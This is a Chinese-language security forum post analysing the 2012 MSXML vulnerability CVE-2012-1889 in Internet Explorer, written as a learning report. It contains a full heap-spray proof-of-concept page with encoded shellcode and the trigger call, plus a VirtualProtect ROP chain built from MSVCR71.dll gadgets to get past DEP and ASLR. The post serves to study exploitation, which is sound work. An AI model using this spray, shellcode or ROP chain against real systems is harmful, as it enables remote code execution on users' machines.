看雪论坛
发新帖
1

[原创]暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告

RedOrange 2017-2-27 20:14 1313

//------------------------------------------------------------

//

//    个人学习二进制漏洞挖掘时写的漏洞报告总结,算作是项目总结

//    研究的类型包括:缓冲区溢出、UAF漏洞、类型混淆

//    包括内容如下:

//    基本的漏洞成因

//    调试工具的使用

//    shellcode(弹框、bindshell)的编写以及改进

//    SEH常识

//    exploit的编写

//    堆喷射

//    ASLR/DEP的基本常识

//    ROP链的构造等

//

//    本来是发到MottoIn上的一些投稿,因为错过了时间,所以发到看雪上接收批评

//    最近在研究渗透以及安卓,驱动也没研究完。。。个人时间比较紧,有空再整理成单独的教程

//------------------------------------------------------------

依旧是缓冲区漏洞,用来研究堆溢出以及DEP/ASLR以及ROP链的编写

这次的内容包括:

这次rop链的编写水了,用了mona自带的功能,抽空补上

以下正文:

---

Microsoft XML Core Services缓冲区溢出漏洞

CVE-2012-1889

漏洞分析报告

 

软件名称Microsoft Internet Explorer 6.0/8.0

组件版本XML 3.0/4.0/5.0/6.0

漏洞模块msxml3.dll

模块版本---

编译日期2008-04-14

操作系统Windows XP/2003/7/8

漏洞编号CVE-2012-1889

危害等级:高危

漏洞类型:缓冲区溢出

威胁类型:远程

 

 

分析人:Red_0range

20161225

目录

1  软件简介... 2

2  漏洞成因... 2

3  漏洞分析... 错误!未定义书签。

4  POC.. 5

5  漏洞成因分析... 14

6  参考资料... 15

 


1.   软件简介

    Microsoft XML Core Services (MSXML)是一组服务,可用JScriptVBScriptMicrosoft开发工具编写的应用构建基于XMLWindows-native应用。

2.   漏洞成因

Microsoft XML Core Services 3.04.05.06.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

3.   漏洞分析

3.0. 概览

试运行网上流行的PoC,用WindbgF6附加调试,程序运行至崩溃

·初步分析

发现eax内容为无意义的0x0c0c0c0c,中断处语句为mov ecx,dword ptr[eax]ecx通常用于thiscall调用协议

推测此处将攻击数据错误的当作了类对象


漏洞分析与利用的关键语句

断点在mov ecx,dword ptr[eax]时触发,所以对于漏洞的利用,考虑覆盖语句执行时eax所指向的内容,(eax指向0x0c0c0c0c),通过下面的call dword ptr [ecx+18h]这条指令,使eip的地址转移到堆上。此处适用于winxp系统以及未开启depaslrIE6浏览器。对于win7漏洞的利用会在下文中提及。

·分析调用关系

可以看到eax的值通过InvokeHelper函数传递得到


再进行栈回溯观察大致结构


IDA加载dll文件找到关键函数



根据PoC分析栈上数据调用

PoC用作方法调用definition函数,而MSDNdefinition作为属性使用

作为属性的成员当作了方法使用因此触发了漏洞

软件漏洞利用示例


3.1.2.     堆喷射

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A160M),0x0C0C0C0C192M),0x0D0D0D0D208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是200M,主要是为了保证能覆盖到0x0C0C0C0C地址。  


使用堆喷射的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90ShellCode内存片覆盖这些内存。

通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×0C能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。

4.   Win xp+IE6下的POC编写

4.1. 验证操作系统/IE版本是否存在漏洞

使用网上的POC检查IE是否会崩溃

4.2. 自定义PoC编写

<html>
<head>
    <title>CVE 2012-1889 PoC Red_Magic_ver.7</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
    // 1.  准备好Shellcode(unescape()是解码函数)
        var cShellcode = unescape(  "\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");
        // 2.  制作一块数据
        // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
        var nSlideSize      = 1024*1024 / 2;     // 一个划板指令区的大小(1MB)
        var nMlcHadSize     = 32        / 2;     // 堆头部大小
        var nStrLenSize     = 4         / 2;     // 堆长度信息大小
        var nTerminatorSize = 2         / 2;     // 堆结尾符号大小
        var nScSize         = cShellcode.length; // Shellcode大小
        var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
        // 2.2 填充滑板指令,制作好一块填充数据
        var cFillData  = unescape("\u0C0C\u0C0C"); // 划板指令 0C0C   OR AL,0C
        var cSlideData = new Array();              // 申请一个数组对象用于保存划板数据
        while (cFillData.length <= nSlideSize)
               cFillData += cFillData;
        cFillData = cFillData.substring(0, nFillSize);
        // 3.  填充200MB的内存区域(申请200块1MB大小的划板数据区),试图覆盖0x0C0C0C0C
        //     区域,每块划板数据均由 划板数据+Shellcode 组成,这样只要任意一块划板数据
        //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到划板数据区后面的Shellcode处,进而执行Shellcode。
        for (var i = 0; i < 200; i++)
               cSlideData[i] = cFillData + cShellcode;
    // 4.  触发CVE 2012-1889漏洞
        // 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
        // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
        var srcImgPath = unescape("\u0C0C\u0C0C");
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;
        // 4.4 定义对象obj15PB(触发溢出)
        obj15PB.definition(0);
    </script>
</body>
</html>

5.   Win7+IE7下的POC编写

5.1. 相关知识介绍

DEP

DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。

DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH

另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。

ASLR

        即加载基址随机化,通过模块加载基址随机化实现使攻击者无法准确定位函数。一般实现方法是将高位地址随机化,低位地址保持不变。

5.2. 漏洞利用相关

绕过DEP-ROP

ROP,连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,其中我们可以调用ZwSetInfomationProcess,VirtualProtect,VitualAlloc一类的函数来实现关闭DEP的目的

              本次使用VirtualProtect修改内存区域为可写实现关闭DEP

              IE使用的模块中找到这些ret指令为结尾的指令序列,我们称之为gadgets


 

精准堆喷射

        为了绕过DEP,我们需要前面ROP技术,另外,必须保证跳转到堆上的时候正好位于ROP链的第一条指令。采用如下的技术,我们可以保证0x0C0C0C0C处即为ROP链的第一个字节。使用Windbg调试打开PoC页面的IE进程,当完成堆的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性


其中第一个表达式求出0x0C0C0C0CUserPtr的距离,因为JavaScript中字符串是Unicode形式的,所以在第二个表达式中进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,如本实验在win7 sp1IE8下为0x5F6(某些IE8环境下得出的结果可能是0x5F4),于是堆中每一块0×1000大小的数据看起来如图所示:


 

绕过ASLR保护

        基本思路是在未开启ASLR的模块中找到我们需要的gadgets,进而构造rop

使用OD或者其他调试软件附加IE进程发现IE原生模块全部都开启了ASLR保护,这时候我们需要额外安装JAVA6,提供未开启ASLR保护的模块


安装后发现有个别模块未开启保护,这里我们使用使用MSVCR71.dll模块

ROP链的构造

使用指令

!mona rop -m msvcr71.dll

构成ROP链的主体部分,mona自动生成的rop链存在VirtualProtect问题不正确的问题,因为# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]这条指令额外使al+0xEF,所以VirtualProtect的地址需要减去这个数值

 

使栈中的地址转移到堆上,我们使用一个叫stackpivot的东西,,这里选择如下的指令:

00401000 94 XCHG EAX,ESP

00401001 C3 RETN

mona中用以下指令搜索

!mona find -s “\x94\xC3” -m msvcr71.dll

 

Rop链构造完成,我们将在栈上填充大量的0x0c0c0c08(不再是0x0c0c0c0c),这样执行mov eax, dword ptr [ebp-14h]之后,eax0x0c0c0c08填充;堆上面仍然用大量0C作为填充物,于是执行mov ecx, dword ptr [eax]时,ecx被设置为0x0c0c0c0c;注意0x0c0c0c0c + 0×18 = 0x0c0c0c24,我们将在这个位置放置一个retn指令的地址,这样在执行call dword ptr [ecx+18h]的时候,会跳转去执行retn,同时又会返回来执行call的下一条指令;而[esi]寄存器的值也是0x0c0c0c0c,那么最终eax会被设置为0x0c0c0c0c,同时call dword ptr [eax+8]会跳转到0x0C0C0C14处执行代码,我们将在这个位置放置stackpivot的地址,最终的rop链构造完成

 

var rop_chain = 
               "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll] 
         "\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]     
         "\u8b05\u7c34" + // 0x7c348b05       # xchg eax, esp # retn [MSVCR71.dll]  
         "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
         "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
         "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
         "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]                      
                        // The real rop chain
        "\u3f00\u7c35" + // 0x7c353f00 : ,# POP EBP # RETN [MSVCR71.dll] 
           "\u3f00\u7c35" + // 0x7c353f00 : ,# skip 4 bytes [MSVCR71.dll]
           "\u60e4\u7c36" + // 0x7c3660e4 : ,# POP EBX # RETN [MSVCR71.dll] 
           "\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx
           "\u4efe\u7c34" + // 0x7c344efe : ,# POP EDX # RETN [MSVCR71.dll] 
           "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
           "\u2628\u7c34" + // 0x7c342628 : ,# POP ECX # RETN [MSVCR71.dll] 
           "\udb70\u7c38" + // 0x7c38db70 : ,# &Writable location [MSVCR71.dll]
           "\u272f\u7c34" + // 0x7c34272f : ,# POP EDI # RETN [MSVCR71.dll] 
           "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
           "\uc611\u7c34" + // 0x7c34c611 : ,# POP ESI # RETN [MSVCR71.dll] 
           "\u15a2\u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
           "\u62fb\u7c37" + // 0x7c3762fb : ,# POP EAX # RETN [MSVCR71.dll] 
           "\ua151\u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
                // 实际上VirtuanProtect()的地址是0x7c37a140,因为下面一条指令ADD AL,OEF
                // 会改变这个值,所以在填充内存的时候先将这个地址减去OEF,最终结果是0x7c37a151
           "\u8c81\u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
           "\u5c30\u7c34" ; // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
最终PoC参考附件


6.   参考资料

《高端调试》张银奎    

0day安全:软件漏洞分析技术(第2版)》 王清      


上传的附件:
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (5)
19
仙果 2017-2-27 20:35
2
这个漏洞在当时360曾经炒作过
1
dalerkd 2017-2-28 15:59
3
月凉如水 2017-3-11 16:12
4
楼主是15PB的吧~
1
RedOrange 2017-3-22 14:23
5
月凉如水 楼主是15PB的吧~[em_13]
看来是学长
lynnux 2017-3-22 14:31
6

一眼看成暴雪漏洞...

各种高大上的名词听都没听过啊~~~

返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 微信公众号:ikanxue
Time: 0.014, SQL: 10 / 京ICP备10040895号-17